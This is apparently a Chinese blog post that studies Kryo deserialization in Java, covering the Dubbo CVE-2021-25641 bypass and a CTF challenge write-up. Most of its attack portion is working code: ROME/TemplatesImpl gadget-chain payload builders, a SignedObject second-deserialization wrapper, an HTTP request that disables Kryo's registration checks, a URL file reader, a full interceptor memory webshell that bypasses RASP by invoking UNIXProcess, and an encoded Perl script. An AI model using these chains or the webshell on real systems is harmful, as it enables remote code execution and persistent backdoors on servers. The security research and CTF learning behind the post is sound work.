Kryo反序列化学习
date
Jun 18, 2022
slug
kryo-deserialize-learn
status
Published
tags
Java安全
安全研究
summary
一个比较偏的序列化组件,看到了就学习一下
type
Post
Kryo简单使用
这个东西反序列化的限制(坑)很多,官方仓库:EsotericSoftware/kryo: Java binary serialization and cloning: fast, efficient, automatic (github.com)
引入pom
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>5.2.0</version>
</dependency>
一般漏洞出现得比较多的反序列化点是使用
kryo.readClassAndObject
函数,那么对应的序列化点是kryo.writeClassAndObject
,当然这个类也存在readObject
和writeObject
方法,不过这里以前两个例子学习定义一个存在无参构造函数的User类
package test;
import lombok.Data;
@Data
public class User{
private String name;
private int id;
private String password;
public User(){
this.name = "test";
this.id = 123;
this.password = "test";
}
}
然后进行demo的测试:
public static void main(String[] args) throws IOException {
Kryo kryo = new Kryo();
kryo.register(User.class);
User u = new User();
Output output = new Output(new FileOutputStream("file.bin"));
kryo.writeClassAndObject(output, u);
output.close();
Input input = new Input(new FileInputStream("file.bin"));
User o = (User)kryo.readClassAndObject(input);
input.close();
System.out.println(o.getName());
}
此时能够正常序列化
对其内容进行调试,就能够发现这个kryo反序列化的几个特性:
- 从5.0.0版本后,kryo整体进行了较大的重构,其中一个重大的改造是将
com.esotericsoftware.kryo.Kryo
类的registrationRequired
属性默认设置为true。相当于开启了白名单,只有注册过的类才能被序列化和反序列化。
如果
kryo.register(User.class)
;
这一行代码给去掉,会出现这样的问题,此时并不能注册因为在源码中com.esotericsoftware.kryo.Kryo只默认注册了下面的类,只有这些类才不需要重新注册
- Kryo对于注册的类,默认使用的是
com.esotericsoftware.kryo.serializers.FieldSerializer
进行处理
但是使用找个对象进行处理需要要求该类有一个无参数的构造函数,否则抛出类创建异常,导致无法反序列化,所以当我们将类的无参构造方法去掉的时候,只保留一个有参构造的方法的话,会抛出这样的异常
调试相关代码就会返现他反射调用的是无参的构造方法,引起抛出异常的也是这个点
相关漏洞
CVE-2021-25641
又是一种新的反序列化方法,主要是针对针对Hessian2序列化格式的对象传输可能会有黑白名单设置的限制,参考:https://github.com/apache/dubbo/pull/6378
针对这种场景,攻击者可以通过更改dubbo协议的第三个flag位字节来更改为使用Kryo或FST序列化格式来进行Dubbo Provider反序列化攻击从而绕过针对Hessian2反序列化相关的限制来达到RCE。
复现环境:‣ (其实也可以使用CVE-2020-1948那个版本的环境)
验证payload:‣
搭建完之后可以使用poc进行简要调试,注意一下poc里面几个需要修改的点,这一块内容是需要注意的,修改Dubbo里面对应provider的内容
在调试过程中发现Dubbo并不遵守Kryo原生反序列化的那一套流程,他是默认将类注册
registrationRequired
给关闭掉了,而且实现的KryoFactory
接口在高版本也没有了,所以Dubbo在这个版本里面是自己整的Kryo的反序列化处理,种种解除限制导致危害提升了这个漏洞还有个精妙之处在于他利用了Dubbo里面的自带的fastjson完成利用链的构造,查看他的关键函数调用栈
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:280, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:863, JSON (com.alibaba.fastjson)
toString:857, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:813, Kryo (com.esotericsoftware.kryo)
readObject:136, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
readObject:147, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:73, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decodeBody:132, DubboCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:122, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:82, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:48, DubboCountCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:90, NettyCodecAdapter$InternalDecoder (org.apache.dubbo.remoting.transport.netty4)
可以发现使用了MapSerializer进行序列化的处理(因为并没有
registrationRequired
限制,而且处理对象是HashMap,所以会走MapSerializer),后续利用Hashmap.put进行触发操作,所以如果有ROME依赖的话,同样应该也是可以使用对应的Gadgats打的(可能需要二次反序列化)后续操作就是com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)方法触发com.alibaba.fastjson.JSON#toString,然后后面就是fastjson的常规利用了
例题
这个题目考察了
kryo
组件的反序列化题目分析
order路由这里请求是他自己实现的类,里面有一个
kryo
的反序列化demo路由根据输⼊修改⼀些关键配置,通过反射触发setter函数的功能
根据这篇文章:浅析Dubbo Kryo/FST反序列化漏洞(CVE-2021-25641) [ Mi1k7ea ] 可以了解到漏洞触发的函数调用栈不太符合题目,因为这里面的函数调用栈是调用了fastJson的内容的,不符合题目给的
lib
内容这个题目里面比较有用的应该是ROME这个jar,所以可以直接利用ROME的那个链条打一下,也是从HashMap触发的key的hashCode操作开始,通过MapSerializer序列化器触发反序列化,但是由于这里是Kryo的版本是5.0.0版本的,所以就出现了相关特性的几个问题
payload构造
当准备构造payload的时候:
public String make_poc(String raw) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);
//ROME 原生链条
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(inject.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ObjectBean delegate = new ObjectBean(Templates.class, obj);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> hashmap = Utils.makeMap(root,root);
kryo.writeClassAndObject(output, hashmap);
output.flush();
output.close();
System.out.println(new String(Base64.getEncoder().encodeToString(bos.toByteArray())));
// return "test";
return new String(Base64.getEncoder().encodeToString(bos.toByteArray()));
}
爆这样的错误,HashMap并没有注册到Kryo的序列化类中
常规的解决思路是使用这样的语句进行操作:
kryo.register(Map.class);
但是同样的题目给了反射调用setter的方法,因此我们可以加上,然后修改相关的属性,那需要设置哪个属性呢?可以通过下面的代码查看一下
Kryo kryo = new Kryo();
for (Method setMethod:kryo.getClass().getDeclaredMethods()) {
if (setMethod.getName().startsWith("set")) {
System.out.println(setMethod);
}
}
public void com.esotericsoftware.kryo.Kryo.setDefaultSerializer(com.esotericsoftware.kryo.SerializerFactory)
public void com.esotericsoftware.kryo.Kryo.setDefaultSerializer(java.lang.Class)
public void com.esotericsoftware.kryo.Kryo.setClassLoader(java.lang.ClassLoader)
public void com.esotericsoftware.kryo.Kryo.setRegistrationRequired(boolean)
public void com.esotericsoftware.kryo.Kryo.setWarnUnregisteredClasses(boolean)
public boolean com.esotericsoftware.kryo.Kryo.setReferences(boolean)
public void com.esotericsoftware.kryo.Kryo.setCopyReferences(boolean)
public void com.esotericsoftware.kryo.Kryo.setReferenceResolver(com.esotericsoftware.kryo.ReferenceResolver)
public void com.esotericsoftware.kryo.Kryo.setInstantiatorStrategy(org.objenesis.strategy.InstantiatorStrategy)
public void com.esotericsoftware.kryo.Kryo.setAutoReset(boolean)
public void com.esotericsoftware.kryo.Kryo.setMaxDepth(int)
public void com.esotericsoftware.kryo.Kryo.setOptimizedGenerics(boolean)
因为这个注册问题是和
registrationRequired
相关的,所以可以选择setRegistrationRequired
将其设置为false
进行处理,payload
上就这么改,此时就可以正常序列化了public String make_poc() throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);
String raw = "{\"polish\":true,\"RegistrationRequired\":false}"
JSONObject serializeConfig = new JSONObject(raw);
if (serializeConfig.has("polish") &&
serializeConfig.getBoolean("polish")) {
this.kryo = new Kryo();
Method[] var3 = this.kryo.getClass().getDeclaredMethods();
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
Method setMethod = var3[var5];
if (setMethod.getName().startsWith("set")) {
try {
Object p1 =
serializeConfig.get(setMethod.getName().substring(3));
if (!setMethod.getParameterTypes()
[0].isPrimitive()) {
try {
p1 =
Class.forName((String)p1).newInstance();
setMethod.invoke(this.kryo, p1);
} catch (Exception var9) {
var9.printStackTrace();
}
} else {
setMethod.invoke(this.kryo, p1);
}
} catch (Exception var10) {
}
}
}
}
//ROME 原生链条
TemplatesImpl obj = new TemplatesImpl();
// setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(inject.class.getName()).toBytecode()});
// System.out.println(ClassPool.getDefault().get(InjectTest.class.getName()).toBytecode());
setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ObjectBean delegate = new ObjectBean(Templates.class, obj);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> hashmap = Utils.makeMap(root,root);
kryo.writeClassAndObject(output, hashmap);
output.flush();
output.close();
System.out.println(new String(Base64.getEncoder().encodeToString(bos.toByteArray())));
return new String(Base64.getEncoder().encodeToString(bos.toByteArray()));
}
但是在进行反序列化测试的时候又出现了另外的问题,就是无参数构造函数的问题
这个也是可以通过
setter
函数进行设置的,主要跟InstantiatorStrategy
这个属性相关,默认使用的是DefaultInstantiatorStrategy
,如果需要绕过无参构造函数的话可以使用StdInstantiatorStrategy
,所以对应处理的应该是setInstantiatorStrategy
这个函数然后再改进一下payload的设置:
public String make_poc() throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);
String raw = "{\"polish\":true,\"RegistrationRequired\":false,\"InstantiatorStrategy\":\n" +
"\"org.objenesis.strategy.StdInstantiatorStrategy\"}";
JSONObject serializeConfig = new JSONObject(raw);
if (serializeConfig.has("polish") &&
serializeConfig.getBoolean("polish")) {
this.kryo = new Kryo();
Method[] var3 = this.kryo.getClass().getDeclaredMethods();
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
Method setMethod = var3[var5];
if (setMethod.getName().startsWith("set")) {
try {
Object p1 =
serializeConfig.get(setMethod.getName().substring(3));
if (!setMethod.getParameterTypes()
[0].isPrimitive()) {
try {
p1 =
Class.forName((String)p1).newInstance();
setMethod.invoke(this.kryo, p1);
} catch (Exception var9) {
var9.printStackTrace();
}
} else {
setMethod.invoke(this.kryo, p1);
}
} catch (Exception var10) {
}
}
}
}
//ROME 原生链条
TemplatesImpl obj = new TemplatesImpl();
// setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(inject.class.getName()).toBytecode()});
// System.out.println(ClassPool.getDefault().get(InjectTest.class.getName()).toBytecode());
setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ObjectBean delegate = new ObjectBean(Templates.class, obj);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> hashmap = Utils.makeMap(root,root);
kryo.writeClassAndObject(output, hashmap);
output.flush();
output.close();
System.out.println(new String(Base64.getEncoder().encodeToString(bos.toByteArray())));
return new String(Base64.getEncoder().encodeToString(bos.toByteArray()));
}
此时再进行测试,会发现出现这样的问题:
Caused by: java.lang.NullPointerException: null
,这个点的原因是因为Kryo的反序列化和hessian2很类似,因为不是原生反序列化,TemplateImpl
的transient
修饰的 _tfactory
是会序列化过程中丢失的,所以无法直接用,需要二次反序列化构造,进一步改进一下payload,此时就能够触发了public String make_poc(String raw) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);
JSONObject serializeConfig = new JSONObject(raw);
if (serializeConfig.has("polish") &&
serializeConfig.getBoolean("polish")) {
this.kryo = new Kryo();
Method[] var3 = this.kryo.getClass().getDeclaredMethods();
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
Method setMethod = var3[var5];
if (setMethod.getName().startsWith("set")) {
try {
Object p1 =
serializeConfig.get(setMethod.getName().substring(3));
if (!setMethod.getParameterTypes()
[0].isPrimitive()) {
try {
p1 =
Class.forName((String)p1).newInstance();
setMethod.invoke(this.kryo, p1);
} catch (Exception var9) {
var9.printStackTrace();
}
} else {
setMethod.invoke(this.kryo, p1);
}
} catch (Exception var10) {
}
}
}
}
//ROME 原生链条
TemplatesImpl obj = new TemplatesImpl();
// setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(inject.class.getName()).toBytecode()});
// System.out.println(ClassPool.getDefault().get(InjectTest.class.getName()).toBytecode());
setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ObjectBean delegate = new ObjectBean(Templates.class, obj);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> hashmap = Utils.makeMap(root,root);
//实例化SignedObject对象
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(hashmap, privateKey, signature);
ToStringBean item = new ToStringBean(SignedObject.class, signedObject);
EqualsBean root1 = new EqualsBean(ToStringBean.class, item);
HashMap<Object, Object> hashmap1 = Utils.makeMap(root1,root1);
kryo.writeClassAndObject(output, hashmap1);
output.flush();
output.close();
System.out.println(new String(Base64.getEncoder().encodeToString(bos.toByteArray())));
return new String(Base64.getEncoder().encodeToString(bos.toByteArray()));
}
实际测试
需要先给
/coffee/demo
接口设置相关属性:POST /coffee/demo HTTP/1.1
Host: localhost:10805
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 116
{"polish":true,"RegistrationRequired":false,"InstantiatorStrategy":"org.objenesis.strategy.StdInstantiatorStrategy"}
因为在Springboot里面默认生成的对象是单例模式,所以修改了类的属性之后都会一直存在
这个点可以在Springboot中调试一下,在这个题目进行测试,给model里面的Mocha类添加上
@Component
注解,让其可以加载package fun.mrctf.springcoffee.model;
import org.springframework.stereotype.Component;
@Component
public class Mocha implements ExtraFlavor{
double chocolate = 0.2;
@Override
public String getName() {
return "Mocha";
}
}
新建一个Controller测试,新建两个Mocha对象,使用
@Autowired
注解自动生成对象package fun.mrctf.springcoffee.controller;
import fun.mrctf.springcoffee.model.Mocha;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class TestController {
@Autowired
private Mocha m1;
@Autowired
private Mocha m2;
@RequestMapping("/aaaa")
public String test(){
System.out.println(m1.hashCode());
System.out.println(m2.hashCode());
return "aaa";
}
}
测试输出两个对象的hashCode,都是一样的,说明两个对象也是一样的,是同一个对象
如果需要修改这种模式的话需要
@Scope("prototype")
注解/coffee/order
接口触发漏洞打个内存马,这个题目普通的Runtime.exec是执行不了的,因为存在RASP,所以还得绕过RASP,先得读取RASP的防御手段,可以使用这段代码进行操作
String code = request.getParameter("code");
java.io.PrintWriter writer = response.getWriter();
urlContent = "";
URL url = new URL(code);
BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null) {
urlContent = urlContent + inputLine + "\n";
}
in.close();
writer.println(urlContent);
读取RASP里面的内容就会发现作者是对
java.lang.ProcessImpl
的start
函数进行限制所以绕过的话就继续找下一层的函数就行,整一个拦截器马,通过UNIXProcess的构造函数触发(作者的原思路好像用的是JNI)
package test;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
public class magicInterceptor2 extends HandlerInterceptorAdapter {
public magicInterceptor2() {
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String[] code = request.getParameterValues("code");
if (code != null) {
try {
PrintWriter writer = response.getWriter();
String o = "";
InputStream in = this.start(code);
String result = this.inputStreamToString(in, "UTF-8");
writer.write(result);
writer.flush();
writer.close();
} catch (Exception var9) {
}
return false;
} else {
return true;
}
}
public byte[] toCString(String s) {
if (s == null) {
return null;
} else {
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = 0;
return result;
}
}
public InputStream start(String[] strs) throws Exception {
String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});
String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
Class clazz = null;
try {
clazz = Class.forName(unixClass);
} catch (ClassNotFoundException var30) {
clazz = Class.forName(processClass);
}
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
assert strs != null && strs.length > 0;
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for(int i = 0; i < args.length; ++i) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
byte[][] var10 = args;
int var11 = args.length;
for(int var12 = 0; var12 < var11; ++var12) {
byte[] arg = var10[var12];
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;
try {
if (f0 != null) {
((FileInputStream)f0).close();
}
} finally {
try {
if (f1 != null) {
((FileOutputStream)f1).close();
}
} finally {
if (f2 != null) {
((FileOutputStream)f2).close();
}
}
}
Object object = constructor.newInstance(this.toCString(strs[0]), argBlock, args.length, null, envc[0], null, std_fds, false);
Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
inMethod.setAccessible(true);
return (InputStream)inMethod.invoke(object);
}
public String inputStreamToString(InputStream in, String charset) throws IOException {
try {
if (charset == null) {
charset = "UTF-8";
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
int a = false;
byte[] b = new byte[1024];
int a;
while((a = in.read(b)) != -1) {
out.write(b, 0, a);
}
String var6 = new String(out.toByteArray());
return var6;
} catch (IOException var10) {
throw var10;
} finally {
if (in != null) {
in.close();
}
}
}
}
最后还有个readflag操作,往里面写个perl脚本,然后执行就行
String path = "/tmp/exp.pl";
File file = new File(path);
file.createNewFile();
FileOutputStream fos = new FileOutputStream(path);
String data = "dXNlIHN0cmljdDsKdXNlIElQQzo6T3BlbjM7Cm15ICRwaWQgPSBvcGVuMyggXCpDSExEX0lOLCBcKkNITERfT1VULCBcKkNITERfRVJSLCAnL3JlYWRmbGFnJyApIG9yIGRpZQoib3BlbjMoKSBmYWlsZWQhIjsKbXkgJHI7CiRyID0gPENITERfT1VUPjsKcHJpbnQgIiRyIjsKJHIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOwokciA9IHN1YnN0cigkciwwLC0zKTsKJHIgPSBldmFsICIkciI7CnByaW50ICIkclxuIjsKcHJpbnQgQ0hMRF9JTiAiJHJcbiI7CiRyID0gPENITERfT1VUPjsKcHJpbnQgIiRyIjs=";
fos.write(Base64.getDecoder().decode(data));
fos.close();
总结
- kryo 序列化与反序列化时注意的坑,流程
- Springboot单例模式下可能会存在的一些问题
参考: